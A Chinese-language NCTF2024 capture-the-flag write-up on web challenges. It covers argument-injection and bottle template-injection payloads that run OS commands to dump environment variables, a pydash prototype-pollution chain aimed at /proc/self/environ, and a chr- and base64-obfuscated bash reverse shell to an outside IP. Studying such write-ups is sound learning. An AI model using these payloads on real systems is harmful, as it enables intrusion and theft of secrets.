NCTF2024/Writeup/Web.md at main · X1cT34m/NCTF2024
插一嘴,我打算29号复现,结果记错时间环境28号就关了,holy shit(哀嚎ing)所以大家一定要记时间啊
sqlmap-master
CTF - Python 沙箱绕过与任意命令执行技巧-腾讯云开发者社区-腾讯云
def generate():
process = subprocess.Popen(
command.split(),
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
shell=False
)
注意这里参数的值不需要加上单双引号, 因为上面已经设置了
shell=False
(后面的所有内容都是当成参数看待的), 如果加上去反而代表的是 “eval 一个 Python 字符串”当
shell
参数设置为False
时,subprocess.Popen
会直接调用操作系统的底层函数来执行命令,而不经过 shell 环境。当
shell
参数设置为True
时,subprocess.Popen
会通过 shell 来执行命令,这意味着命令会在一个 shell 环境中被解析和执行。可以使用 shell 的各种特性,如通配符(*
、?
)、重定向(>
、<
)、管道(|
)等。例如,执行ls *.py
可以列出当前目录下所有以.py
结尾的文件。
可以实行。
没找见
http://39.106.16.204:23497/ --eval __import__("os").system("env")
or
127.0.0.1 --eval=print(__import__('os').popen('env').read())
or
https://localhost?id=1&search=1 -c /proc/self/environ
nctf{4851e699-1554-47fc-ab4f-2b27f841f3a7}
ez_dash(_revenge)
'''
Hints: Flag在环境变量中
'''
from typing import Optional
import pydash
import bottle
__forbidden_path__=['__annotations__', '__call__', '__class__', '__closure__',
'__code__', '__defaults__', '__delattr__', '__dict__',
'__dir__', '__doc__', '__eq__', '__format__',
'__ge__', '__get__', '__getattribute__',
'__gt__', '__hash__', '__init__', '__init_subclass__',
'__kwdefaults__', '__le__', '__lt__', '__module__',
'__name__', '__ne__', '__new__', '__qualname__',
'__reduce__', '__reduce_ex__', '__repr__', '__setattr__',
'__sizeof__', '__str__', '__subclasshook__', '__wrapped__',
"Optional","func","render",
]
__forbidden_name__=[
"bottle"
]
__forbidden_name__.extend(dir(globals()["__builtins__"]))
def setval(name:str, path:str, value:str)-> Optional[bool]:
if name.find("__")>=0: return False
for word in __forbidden_name__:
if name==word:
return False
for word in __forbidden_path__:
if path.find(word)>=0: return False
obj=globals()[name]#obj=globals()[name]:从全局命名空间中获取名为 name 的对象。
try:
pydash.set_(obj,path,value)
except:
return False
return True
@bottle.post('/setValue')
def set_value():
name = bottle.request.query.get('name')
path=bottle.request.json.get('path')
if not isinstance(path,str):
return "no"
if len(name)>6 or len(path)>32:
return "no"
value=bottle.request.json.get('value')
return "yes" if setval(name, path, value) else "no"
@bottle.get('/render')
def render_template():
path=bottle.request.query.get('path')
if path.find("{")>=0 or path.find("}")>=0 or path.find(".")>=0:
return "Hacker"
return bottle.template(path)
bottle.run(host='0.0.0.0', port=8000)
非预期:
/render?path=%print(1)
空白;熟悉的味道(
测试
% eval("__import__('os').popen('id>1')")
?path=% eval("__import__('os')"+chr(46)+"popen('id>1')")
?path=1 ->ok
?path=% eval("__import__('os')"+chr(46)+"popen('env>2')")
?path=2 ->flag
#渲染的时候写入同一个文件渲染的时候还是上次的结果,只能写进新文件了
or abort回显
#abort 函数用于在处理请求时,中断当前操作并返回指定的 HTTP 错误状态码和错误信息。
#subprocess 模块可让你创建新的进程,连接到它们的输入 / 输出 / 错误管道,并获取它们的返回码。getoutput 函数能够执行系统命令并返回命令的输出结果。
from bottle import abort
from subprocess import getoutput
a = getoutput("env")
abort(404, a)
# 404 错误响应换成看系统的环境变量信息
/render?path= <%%20from%20bottle%20import%20abort%0afrom%20subprocess%20import%20getoutput% 0aa=getoutput("env")%0aabort(404,a)%20%>
or
def convert_to_chr_expression(text):
"""将输入字符串转换为chr代码拼接形式"""
parts = [f"chr({ord(c)})" for c in text]
return "+".join(parts) if text else ""
# 获取输入并处理
if __name__ == "__main__":
input_str = 'bash -c "bash -i >& /dev/tcp/8.140.217.166/7777 0>&1"'
print(convert_to_chr_expression(input_str))
---------------------------------------------------------------------------------------
bash -c "bash -i >& /dev/tcp/8.140.217.166/7777 0>&1"
<% getattr(__import__('o'+'s'), 'sy'+'stem')(chr(98)+chr(97)+chr(115)+chr(104)+chr(32)+chr(45)+chr(99)+chr(32)+chr(34)+chr(98)+chr(97)+chr(115)+chr(104)+chr(32)+chr(45)+chr(105)+chr(32)+chr(62)+chr(38)+chr(32)+chr(47)+chr(100)+chr(101)+chr(118)+chr(47)+chr(116)+chr(99)+chr(112)+chr(47)+chr(56)+chr(46)+chr(49)+chr(52)+chr(48)+chr(46)+chr(50)+chr(49)+chr(55)+chr(46)+chr(49)+chr(54)+chr(54)+chr(47)+chr(55)+chr(55)+chr(55)+chr(55)+chr(32)+chr(48)+chr(62)+chr(38)+chr(49)+chr(34)) %>
or
<% from os import system
from base64 import b64encode, b64decode
system(b64decode('YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC84LjE0MC4yMTcuMTY2Lzc3NzcgMD4mMSI='))
%>
预期:
主要是这里:
Prototype Pollution in Python - Abdulrah33m’s Blog
用post(‘/setValue’)+get(‘/render’)
主要是这个set很危险哈哈:
pydash.set_(obj,path,value)
也就是说我们往name中传入一个对象,path中传入其属性名,values 传入更改的值就可以改掉其属性的值,例如这样
import pydash class Apple: def __init__(self): self.name = "apple" self.sweet = 10 a = Apple() print(f" 修改前 : {a.sweet}") pydash.set_(a, "sweet", 100) print(f" 修改后 : {a.sweet}")
而get(‘/render’)最后有return bottle.template(path)
,so去找
bottle/bottle.py at master · bottlepy/bottle
belike
def template(*args, **kwargs):
"""
Get a rendered template as a string iterator.
You can use a name, a filename or a template string as first parameter.
Template rendering arguments can be passed as dictionaries
or directly (as keyword arguments).
"""
tpl = args[0] if args else None
for dictarg in args[1:]:
kwargs.update(dictarg)
adapter = kwargs.pop('template_adapter', SimpleTemplate)
lookup = kwargs.pop('template_lookup', TEMPLATE_PATH) #here
tplid = (id(lookup), tpl)
if tplid not in TEMPLATES or DEBUG:#分析这里
settings = kwargs.pop('template_settings', {})
if isinstance(tpl, adapter):
TEMPLATES[tplid] = tpl
if settings: TEMPLATES[tplid].prepare(**settings)
elif "\n" in tpl or "{" in tpl or "%" in tpl or '$' in tpl:
#如果 tpl 包含换行符 \n、花括号 {、百分号 % 或美元符号 $,则认为 tpl 是一个模板字符串。使用 adapter 创建一个新的模板实例,并将其放入 TEMPLATES 缓存中。
TEMPLATES[tplid] = adapter(source=tpl, lookup=lookup, **settings)
else:
#否则,认为 tpl 是模板名称或文件名。使用 adapter 创建一个新的模板实例,并将其放入 TEMPLATES 缓存中。
TEMPLATES[tplid] = adapter(name=tpl, lookup=lookup, **settings)
if not TEMPLATES[tplid]:
abort(500, 'Template (%s) not found' % tpl)
return TEMPLATES[tplid].render(kwargs)
mako_template = functools.partial(template, template_adapter=MakoTemplate)
cheetah_template = functools.partial(template,
template_adapter=CheetahTemplate)
jinja2_template = functools.partial(template, template_adapter=Jinja2Template)
跟进这个解析器,然后因为后面传入的是name是一个path而不是一个 模板,所以会走到BaseTemplate这里先寻找并解析目录下的模板文件 再扔给SimpleTemplate进行渲染解析。
self.lookup = [os.path.abspath(x) for x in lookup] if lookup else []
默认的模板引擎是SimpleTemplate,lookup就是模板的搜索 路径也就是 TEMPLATE_PATH 这个变量
其默认的值为 ./ 和 ./views/
这两个字符串 './'
和 './views/'
通常代表文件路径,'./'
表示当前目录,'./views/'
表示当前目录下的 views
子目录。所以,TEMPLATE_PATH = ['./', './views/']
主要作用是定义一个模板文件的查找路径列表。
SimpleTemplate与BaseTemplate:
class SimpleTemplate(BaseTemplate):
"""prepare 方法的主要作用是对模板进行初始化,设置缓存、字符编码、转义函数等,并根据 noescape 参数的值调整转义逻辑,同时记录模板的语法规则。这个方法的作用就是初始化模板的字符处理逻辑,支持 HTML 转义或
直接输出原始 HTML,也就是解析这个传入的template变成html
然后回到template结尾"""
def prepare(self,
escape_func=html_escape,
noescape=False,
syntax=None, **ka):
self.cache = {}
enc = self.encoding
self._str = lambda x: touni(x, enc)
self._escape = lambda x: escape_func(touni(x, enc))
self.syntax = syntax
if noescape:
self._str, self._escape = self._escape, self._str
@cached_property
def co(self):
return compile(self.code, self.filename or '<string>', 'exec')
@cached_property
def code(self):
source = self.source
if not source:
with open(self.filename, 'rb') as f:
source = f.read()
try:
source, encoding = touni(source), 'utf8'
except UnicodeError:
raise depr(0, 11, 'Unsupported template encodings.', 'Use utf-8 for templates.')
parser = StplParser(source, encoding=encoding, syntax=self.syntax)
code = parser.translate()
self.encoding = parser.encoding
return code
def _rebase(self, _env, _name=None, **kwargs):
_env['_rebase'] = (_name, kwargs)
def _include(self, _env, _name=None, **kwargs):
env = _env.copy()
env.update(kwargs)
if _name not in self.cache:
self.cache[_name] = self.__class__(name=_name, lookup=self.lookup, syntax=self.syntax)
return self.cache[_name].execute(env['_stdout'], env)
def execute(self, _stdout, kwargs):
env = self.defaults.copy()
env.update(kwargs)
env.update({
'_stdout': _stdout,
'_printlist': _stdout.extend,
'include': functools.partial(self._include, env),
'rebase': functools.partial(self._rebase, env),
'_rebase': None,
'_str': self._str,
'_escape': self._escape,
'get': env.get,
'setdefault': env.setdefault,
'defined': env.__contains__
})
exec(self.co, env)
if env.get('_rebase'):#如果模板调用 rebase(),继承父模板就递归渲染父模版.这个时候就会去读取environ模板文件
subtpl, rargs = env.pop('_rebase')
rargs['base'] = ''.join(_stdout) # copy stdout
del _stdout[:] # clear stdout
return self._include(env, subtpl, **rargs)
return env
def render(self, *args, **kwargs):
""" Render the template using keyword arguments as local variables. """
env = {}
stdout = []
for dictarg in args:
env.update(dictarg)
env.update(kwargs)
self.execute(stdout, env)
return ''.join(stdout)
class BaseTemplate(object):
""" Base class and minimal API for template adapters """
extensions = ['tpl', 'html', 'thtml', 'stpl']
settings = {} # used in prepare()
defaults = {} # used in render()
def __init__(self,
source=None,
name=None,
lookup=None,
encoding='utf8', **settings):
""" Create a new template.
If the source parameter (str or buffer) is missing, the name argument
is used to guess a template filename. Subclasses can assume that
self.source and/or self.filename are set. Both are strings.
The lookup, encoding and settings parameters are stored as instance
variables.
The lookup parameter stores a list containing directory paths.
The encoding parameter should be used to decode byte strings or files.
The settings parameter contains a dict for engine-specific settings.
"""
self.name = name#这里的name就是传入的bottle.template(path)的值
self.source = source.read() if hasattr(source, 'read') else source
self.filename = source.filename if hasattr(source, 'filename') else None
self.lookup = [os.path.abspath(x) for x in lookup] if lookup else []
self.encoding = encoding
self.settings = self.settings.copy() # Copy from class variable
self.settings.update(settings) # Apply
if not self.source and self.name:
self.filename = self.search(self.name, self.lookup)
if not self.filename:
raise TemplateError('Template %s not found.' % repr(name))
if not self.source and not self.filename:
raise TemplateError('No template specified.')
self.prepare(**self.settings)
@classmethod#目标是(name=environ)
def search(cls, name, lookup=None):#在 lookup 指定的所有目录中搜索 name,先直接搜索,再尝试添加常见扩展名搜索,返回第一个找到的文件。
""" Search name in all directories specified in lookup.
First without, then with common extensions. Return first hit. """
if not lookup:
raise depr(0, 12, "Empty template lookup path.", "Configure a template lookup path.")
if os.path.isabs(name):
raise depr(0, 12, "Use of absolute path for template name.",
"Refer to templates with names or paths relative to the lookup path.")
for spath in lookup:
spath = os.path.abspath(spath) + os.sep#遍历 lookup 列表中的每个查找路径 spath。使用 os.path.abspath 将 spath 转换为绝对路径,并在末尾添加路径分隔符 os.sep。
fname = os.path.abspath(os.path.join(spath, name))
if not fname.startswith(spath): continue
if os.path.isfile(fname): return fname#检查 fname 是否为一个存在的文件。如果是,直接返回该文件的路径。
for ext in cls.extensions:#如果直接搜索 fname 没有找到文件,遍历类属性 cls.extensions 中的每个扩展名 ext。尝试在 fname 后面添加扩展名 ext,并检查添加扩展名后的文件是否存在。如果存在,返回该文件的路径。
if os.path.isfile('%s.%s' % (fname, ext)):
return '%s.%s' % (fname, ext)
@classmethod
def global_config(cls, key, *args):
""" This reads or sets the global settings stored in class.settings. """
if args:
cls.settings = cls.settings.copy() # Make settings local to class
cls.settings[key] = args[0]
else:
return cls.settings[key]
def prepare(self, **options):
""" Run preparations (parsing, caching, ...).
It should be possible to call this again to refresh a template or to
update settings.
"""
raise NotImplementedError
def render(self, *args, **kwargs):
""" Render the template with the specified local variables and return
a single byte or unicode string. If it is a byte string, the encoding
must match self.encoding. This method must be thread-safe!
Local variables may be provided in dictionaries (args)
or directly, as keywords (kwargs).
"""
raise NotImplementedError
template(*args, **kwargs){adapter}--->
BaseTemplate{search(cls, name, lookup=None)}[SimpleTemplate需要BaseTemplate]--->
SimpleTemplate(BaseTemplate){self.prepare(**self.settings)}--->
def template(*args, **kwargs){return TEMPLATES[tplid].render(kwargs)}--->
SimpleTemplate(BaseTemplate){def render(self, *args, **kwargs)}--->
SimpleTemplate(BaseTemplate){self.execute(stdout, env)[exec(self.co, env)]}--->
构建了env执行环境,然后在env中执行预编译的模板也就是这里的self.c---->>
if env.get('_rebase')[def _rebase( _env['_rebase'] = (_name, kwargs)(找到了))]-->
SimpleTemplate(BaseTemplate){def _include[ return self.cache[_name].execute(env['_stdout'], env)]}(递归,污染?)--->
SimpleTemplate(BaseTemplate){ def render(self, *args, **kwargs)[r return ''.join(stdout)]}
template:adapter()->class:BaseTemplate:search() >class:SimpleTemplate:prepare()->render()->exec()->stdout
回看
adapter = kwargs.pop('template_adapter', SimpleTemplate)
lookup = kwargs.pop('template_lookup', TEMPLATE_PATH) #here
tplid = (id(lookup), tpl)
TEMPLATES[tplid] = adapter(name=tpl, lookup=lookup, **settings)
return TEMPLATES[tplid].render(kwargs)
adapter是很重要的,将lookup后的SimpleTemplate,最后会读取的ta的environ模板文件,最后返回TEMPLATES[tplid].render(kwargs)。而lookup的是TEMPLATE_PATH,我们目标是找环境,改这个就行(用set)。
我们需要读取其environ,就可以利 用/proc/self/environ 来读取
其默认的值为 ./ 和 ./views/,我们再加一个/proc/self/就行了,即”./“,”./views/“,”/proc/self/“
有黑名单,so改一下:
setval.__globals__.bottle.
!!!!!!这简直是神来之笔,直接绕过黑名单bottle了,牛啊!!!
setval.__globals__.bottle.TEMPLATE_PATH=
['proc/self/']
POST /setValue?name=setval HTTP/1.1
{
"path": "__globals__.bottle.TEMPLATE_PATH",
"value":
"value": ["./","./views/",
"/proc/self/"
]
}
但pydash的版本是8.0.5,因此不能够直接通过
__globals__
去获得bottle,在pydash 5.1.2版本中能够使用__globals__
,但是高版本下已经被修复了,现在会报access to restricted key__globals__
,因此我们要想办法绕过restricted key。
RESTRICTED_KEYS
元组的作用是标识出那些在特定上下文中不应该被使用的关键标识符。
just去康康源码找找 restricted key
pydash/src/pydash/helpers.py at develop · dgilland/pydash
#: Object keys that are restricted from access via path access.
RESTRICTED_KEYS = ("__globals__", "__builtins__")
so可以通过pydash自己污染掉RESTRICTED_KEYS
从而使用globals(这脑洞也太离谱了吧,真无敌了吧),想出这个的真是天才。
POST /setValue?name=pydash HTTP/1.1
{
"path": "helpers.RESTRICTED_KEYS",
"value": []
}
现在就可以了,先改pydash,再改bottle
随后直接render?path=environ即可
搞完这个真要晕晕了吧。。。
https://blog.csdn.net/allway2/article/details/126703565
像HTTP Status Code 进行 XSLeaks和java反序列化更是从没遇到过哈哈,so再等等吧,待我进化进化再搞他们!